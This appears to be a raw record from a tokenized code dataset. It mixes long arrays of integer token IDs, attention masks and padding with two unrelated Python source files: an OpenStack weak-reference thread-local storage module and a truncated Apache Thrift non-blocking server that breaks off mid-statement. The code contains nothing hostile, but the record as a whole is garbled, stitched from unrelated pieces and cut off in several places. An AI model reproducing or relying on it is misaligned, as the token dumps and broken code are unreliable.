5042, 14, 576, 1012, 339, 347, 511, 63, 7979, 8, 277, 304, 398, 327, 774, 5477, 63, 475, 63, 11231, 14, 398, 302, 275, 1695, 267, 2928, 63, 552, 275, 302, 627, 1695, 267, 2928, 63, 576, 275, 2008, 8, 1842, 8, 2164, 63, 552, 430, 267, 1420, 63, 2604, 275, 2928, 63, 576, 398, 2928, 275 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 11811, 12, 9488, 12, 6542, 12, 7409, 12, 6965, 2868, 2290, 2752, 12, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 1664, 13514, 199, 3, 199, 3, 1664, 13514, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 199, 3, 1664, 13514, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 1664, 13514, 27, 1937, 314, 570, 9685, 14, 221, 982, 440, 12, 2218, 370, 199, 3, 314, 2868, 2290, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 199, 3, 8226, 12, 4828, 11315, 13, 10067, 12, 8217, 14, 199, 3, 199, 199, 504, 24526, 492, 7192, 12, 7192, 63, 2796, 12, 5664, 199, 199, 318, 12831, 63, 2062, 63, 1099, 8, 2164, 63, 576, 12, 302, 304, 272, 702, 334, 552, 8, 2164, 63, 576, 9, 450, 302, 9, 508, 378, 272, 754, 275, 359, 513, 342, 367, 671, 315, 1425, 8, 78, 1874, 272, 327, 1361, 298, 552, 8, 1099, 9, 20815, 822, 8, 1099, 9, 272, 367, 284, 315, 4945, 8, 552, 8, 2164, 63, 576, 2298, 267, 334, 1099, 59, 73, 450, 302, 6575, 740, 8, 2164, 63, 576, 59, 73, 566, 272, 372, 359, 2960, 8, 88, 9, 367, 671, 315, 754, 61, 421, 199, 533, 511, 63, 4990, 63, 3269, 1161, 8, 2587, 63, 2796, 14, 1746, 304, 339, 347, 3613, 8, 277, 304, 267, 291, 14, 5842, 275, 7192, 14, 2119, 63, 1457, 6248, 339, 347, 6766, 8, 277, 304, 267, 291, 14, 5842, 275, 488, 339, 347, 511, 63, 4587, 8, 277, 304, 267, 408, 267, 1379, 2547, 63, 475, 63, 11231, 14, 267, 408, 267, 302, 275, 1695, 267, 2928, 63, 552, 275, 302, 627, 1695, 267, 2928, 63, 576, 275, 1425, 8, 2164, 63, 552, 9, 398, 1420, 63, 2604, 275, 12831, 63, 2062, 63, 1099, 8, 2164, 63, 576, 12, 302, 9, 267, 327, 1361, 298, 2062, 2058, 26, 3872, 1420, 63, 2604, 267, 2928, 275, 5664, 14, 4106, 63, 1365, 63, 73, 8, 2164, 63, 576, 9, 267, 1687, 275, 5664, 14, 1745, 63, 475, 63, 11231, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 291, 14, 5842, 14, 2242, 8, 2164, 12, 1687, 9, 398, 5042, 83, 275, 942, 267, 367, 284, 315, 1425, 8, 78, 304, 288, 5042, 275, 5664, 14, 4106, 63, 11279, 63, 73, 342, 288, 291, 14, 5842, 14, 2242, 1332, 411, 12, 284, 395, 334, 5119, 12, 378, 430, 288, 5042, 83, 14, 740, 8, 5119, 9, 398, 291, 14, 5842, 14, 1065, 342, 398, 367, 366, 315, 1425, 8, 78, 304, 288, 291, 14, 629, 8, 2062, 63, 2604, 59, 68, 467, 5042, 83, 59, 68, 1055, 576, 1012, 339, 347, 511, 63, 7432, 8, 277, 304, 398, 327, 1379, 13788, 63, 475, 63, 1745, 334, 4941, 2547, 63, 475, 63, 11231, 680, 398, 302, 275, 1695, 267, 2928, 63, 552, 275, 302, 627, 1695, 267, 2928, 63, 576, 275, 2008, 8, 1842, 8, 2164, 63, 552, 430, 267, 1420, 63, 2604, 275, 2928, 63, 576, 398, 2928, 275, 5664, 14, 4106, 63, 1365, 63, 73, 8, 2164, 63, 576, 9, 267, 1687, 17, 275, 5664, 14, 1745, 63, 475, 63, 11231, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 1687, 18, 275, 5664, 14, 11231, 63, 475, 63, 1745, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 5042, 275, 5664, 14, 4106, 63, 11279, 63, 73, 342, 398, 291, 14, 5842, 14, 2242, 8, 2164, 12, 1687, 17, 9, 267, 367, 284, 315, 1425, 8, 78, 304, 288, 291, 14, 5842, 14, 2242, 1332, 411, 17, 12, 284, 395, 334, 411, 18, 12, 284, 430, 267, 291, 14, 5842, 14, 2242, 8, 411, 18, 12, 5042, 9, 398, 291, 14, 5842, 14, 1065, 342, 267, 291, 14, 629, 8, 2062, 63, 2604, 12, 5042, 14, 576, 1012, 339, 347, 511, 63, 8262, 8, 277, 304, 398, 327, 774, 13788, 63, 475, 63, 4106, 334, 4941, 2547, 63, 475, 63, 11231, 1253, 5477, 63, 475, 63, 1745, 680, 398, 302, 275, 1695, 267, 2928, 63, 552, 275, 302, 627, 1695, 267, 2928, 63, 576, 275, 2008, 8, 1842, 8, 2164, 63, 552, 430, 267, 1420, 63, 2604, 275, 2928, 63, 576, 398, 2928, 275, 5664, 14, 4106, 63, 1365, 63, 73, 8, 2164, 63, 576, 9, 267, 1687, 17, 275, 5664, 14, 1745, 63, 475, 63, 11231, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 1687, 18, 275, 5664, 14, 11231, 63, 475, 63, 4106, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 1687, 19, 275, 5664, 14, 4106, 63, 475, 63, 1745, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 5042, 275, 5664, 14, 4106, 63, 11279, 63, 73, 342, 398, 291, 14, 5842, 14, 2242, 8, 2164, 12, 1687, 17, 9, 267, 367, 284, 315, 1425, 8, 78, 304, 288, 291, 14, 5842, 14, 2242, 1332, 411, 17, 12, 284, 395, 334, 411, 18, 12, 284, 430, 267, 291, 14, 5842, 14, 2242, 8, 411, 18, 12, 1687, 19, 12, 5042, 9, 398, 291, 14, 5842, 14, 1065, 342, 267, 291, 14, 629, 8, 2062, 63, 2604, 12, 5042, 14, 576, 1012, 339, 347, 511, 63, 7979, 8, 277, 304, 398, 327, 774, 5477, 63, 475, 63, 11231, 14, 398, 302, 275, 1695, 267, 2928, 63, 552, 275, 302, 627, 1695, 267, 2928, 63, 576, 275, 2008, 8, 1842, 8, 2164, 63, 552, 430, 267, 1420, 63, 2604, 275, 2928, 63, 576, 398, 2928, 275, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kickstandproject/python-ami
ami/openstack/common/local.py
57
1722
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2011 OpenStack Foundation. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Local storage of variables using weak references""" import threading import weakref class WeakLocal(threading.local): def __getattribute__(self, attr): rval = super(WeakLocal, self).__getattribute__(attr) if rval: # NOTE(mikal): this bit is confusing. What is stored is a weak # reference, not the value itself. We therefore need to lookup # the weak reference and return the inner value here. rval = rval() return rval def __setattr__(self, attr, value): value = weakref.ref(value) return super(WeakLocal, self).__setattr__(attr, value) # NOTE(mikal): the name "store" should be deprecated in the future store = WeakLocal() # A "weak" store uses weak references and allows an object to fall out of scope # when it falls out of scope in the code that uses the thread local storage. A # "strong" store will hold a reference to the object so that it never falls out # of scope. weak_store = WeakLocal() strong_store = threading.local()
apache-2.0
[ 3, 6695, 26, 20849, 29, 20, 20105, 29, 20, 25966, 29, 20, 199, 199, 3, 1898, 7760, 14260, 2752, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 624, 5339, 4887, 402, 2860, 1808, 9282, 6941, 624, 199, 199, 646, 5796, 199, 646, 13852, 421, 199, 533, 28224, 5339, 8, 12562, 14, 1832, 304, 272, 347, 636, 18480, 721, 277, 12, 1921, 304, 267, 15010, 275, 1613, 8, 18889, 5339, 12, 291, 2843, 18480, 721, 962, 9, 267, 340, 15010, 26, 288, 327, 6944, 8, 2664, 26446, 304, 642, 4546, 365, 3743, 4941, 14, 14791, 365, 5489, 365, 282, 9282, 288, 327, 3659, 12, 440, 314, 574, 6337, 14, 2136, 16119, 1929, 370, 4237, 288, 327, 314, 9282, 3659, 436, 372, 314, 6506, 574, 2348, 14, 288, 15010, 275, 15010, 342, 267, 372, 15010, 339, 347, 636, 10202, 721, 277, 12, 1921, 12, 574, 304, 267, 574, 275, 13852, 14, 1121, 8, 585, 9, 267, 372, 1613, 8, 18889, 5339, 12, 291, 2843, 10202, 721, 962, 12, 574, 9, 421, 199, 3, 6944, 8, 2664, 26446, 304, 314, 536, 298, 1617, 2, 1077, 506, 5906, 315, 314, 6466, 199, 1617, 275, 28224, 5339, 342, 199, 199, 3, 437, 298, 10350, 2, 3877, 4440, 9282, 6941, 436, 6127, 376, 909, 370, 11264, 734, 402, 4194, 199, 3, 1380, 652, 26945, 734, 402, 4194, 315, 314, 1233, 626, 4440, 314, 2462, 2257, 4887, 14, 437, 199, 3, 298, 9370, 2, 3877, 911, 10266, 282, 3659, 370, 314, 909, 880, 626, 652, 7078, 26945, 734, 199, 3, 402, 4194, 14, 199, 10350, 63, 1617, 275, 28224, 5339, 342, 199, 9370, 63, 1617, 275, 5796, 14, 1832, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 6695, 26, 20849, 29, 20, 20105, 29, 20, 25966, 29, 20, 199, 199, 3, 1898, 7760, 14260, 2752, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 624, 5339, 4887, 402, 2860, 1808, 9282, 6941, 624, 199, 199, 646, 5796, 199, 646, 13852, 421, 199, 533, 28224, 5339, 8, 12562, 14, 1832, 304, 272, 347, 636, 18480, 721, 277, 12, 1921, 304, 267, 15010, 275, 1613, 8, 18889, 5339, 12, 291, 2843, 18480, 721, 962, 9, 267, 340, 15010, 26, 288, 327, 6944, 8, 2664, 26446, 304, 642, 4546, 365, 3743, 4941, 14, 14791, 365, 5489, 365, 282, 9282, 288, 327, 3659, 12, 440, 314, 574, 6337, 14, 2136, 16119, 1929, 370, 4237, 288, 327, 314, 9282, 3659, 436, 372, 314, 6506, 574, 2348, 14, 288, 15010, 275, 15010, 342, 267, 372, 15010, 339, 347, 636, 10202, 721, 277, 12, 1921, 12, 574, 304, 267, 574, 275, 13852, 14, 1121, 8, 585, 9, 267, 372, 1613, 8, 18889, 5339, 12, 291, 2843, 10202, 721, 962, 12, 574, 9, 421, 199, 3, 6944, 8, 2664, 26446, 304, 314, 536, 298, 1617, 2, 1077, 506, 5906, 315, 314, 6466, 199, 1617, 275, 28224, 5339, 342, 199, 199, 3, 437, 298, 10350, 2, 3877, 4440, 9282, 6941, 436, 6127, 376, 909, 370, 11264, 734, 402, 4194, 199, 3, 1380, 652, 26945, 734, 402, 4194, 315, 314, 1233, 626, 4440, 314, 2462, 2257, 4887, 14, 437, 199, 3, 298, 9370, 2, 3877, 911, 10266, 282, 3659, 370, 314, 909, 880, 626, 652, 7078, 26945, 734, 199, 3, 402, 4194, 14, 199, 10350, 63, 1617, 275, 28224, 5339, 342, 199, 9370, 63, 1617, 275, 5796, 14, 1832, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # """Implementation of non-blocking server. The main idea of the server is to receive and send requests only from the main thread. The thread poool should be sized for concurrent tasks, not maximum connections """ import threading import socket import Queue import select import struct import logging from thrift.transport import TTransport from thrift.protocol.TBinaryProtocol import TBinaryProtocolFactory __all__ = ['TNonblockingServer'] class Worker(threading.Thread): """Worker is a small helper to process incoming connection.""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Process queries from task queue, stop if processor is None.""" while True: try: processor, iprot, oprot, otrans, callback = self.queue.get() if processor is None: break processor.process(iprot, oprot) callback(True, otrans.getvalue()) except Exception: logging.exception("Exception while processing request") callback(False, '') WAIT_LEN = 0 WAIT_MESSAGE = 1 WAIT_PROCESS = 2 SEND_ANSWER = 3 CLOSED = 4 def locked(func): """Decorator which locks self.lock.""" def nested(self, *args, **kwargs): self.lock.acquire() try: return func(self, *args, **kwargs) finally: self.lock.release() return nested def socket_exception(func): """Decorator close object on socket.error.""" def read(self, *args, **kwargs): try: return func(self, *args, **kwargs) except socket.error: self.close() return read class Connection: """Basic class is represented connection. It can be in state: WAIT_LEN --- connection is reading request len. WAIT_MESSAGE --- connection is reading request. WAIT_PROCESS --- connection has just read whole request and waits for call ready routine. SEND_ANSWER --- connection is sending answer string (including length of answer). CLOSED --- socket was closed and connection should be deleted. """ def __init__(self, new_socket, wake_up): self.socket = new_socket self.socket.setblocking(False) self.status = WAIT_LEN self.len = 0 self.message = '' self.lock = threading.Lock() self.wake_up = wake_up def _read_len(self): """Reads length of request. It's a safer alternative to self.socket.recv(4) """ read = self.socket.recv(4 - len(self.message)) if len(read) == 0: # if we read 0 bytes and self.message is empty, then # the client closed the connection if len(self.message) != 0: logging.error("can't read frame size from socket") self.close() return self.message += read if len(self.message) == 4: self.len, = struct.unpack('!i', self.message) if self.len < 0: logging.error("negative frame size, it seems client " "doesn't use FramedTransport") self.close() elif self.len == 0: logging.error("empty frame, it's really strange") self.close() else: self.message = '' self.status = WAIT_MESSAGE @socket_exception def read(self): """Reads data from stream and switch state.""" assert self.status in (WAIT_LEN, WAIT_MESSAGE) if self.status == WAIT_LEN: self._read_len() # go back to the main loop here for simplicity instead of # falling through, even though there is a good chance that # the message is already available elif self.status == WAIT_MESSAGE: read = self.socket.recv(self.len - len(self.message)) if len(read) == 0: logging.error("can't read frame from socket (get %d of " "%d bytes)" % (len(self.message), self.len)) self.close() return self.message += read if len(self.message) == self.len: self.status = WAIT_PROCESS @socket_exception def write(self): """Writes data from socket and switch state.""" assert self.status == SEND_ANSWER sent = self.socket.send(self.message) if sent == len(self.message): self.status = WAIT_LEN self.message = '' self.len = 0 else: self.message = self.message[sent:] @locked def ready(self, all_ok, message): """Callback function for switching state and waking up main thread. This function is the only function witch can be called asynchronous. The ready can switch Connection to three states: WAIT_LEN if request was oneway. SEND_ANSWER if request was processed in normal way. CLOSED if request throws unexpected exception. The one wakes up main thread. """ assert self.status == WAIT_PROCESS if not all_ok: self.close() self.wake_up() return self.len = '' if len(message) == 0: # it was a oneway request, do not write answer self.message = '' self.status = WAIT_LEN else: self.message = struct.pack('!i', len(message)) + message self.status = SEND_ANSWER self.wake_up() @locked def is_writeable(self): """Return True if connection should be added to write list of select""" return self.status == SEND_ANSWER # it's not necessary, but... @locked def is_readable(self): """Return True if connection should be added to read list of select""" return self.status in (WAIT_LEN, WAIT_MESSAGE) @locked def is_closed(self): """Returns True if connection is closed.""" return self.status == CLOSED def fileno(self): """Returns the file descriptor of the associated socket.""" return 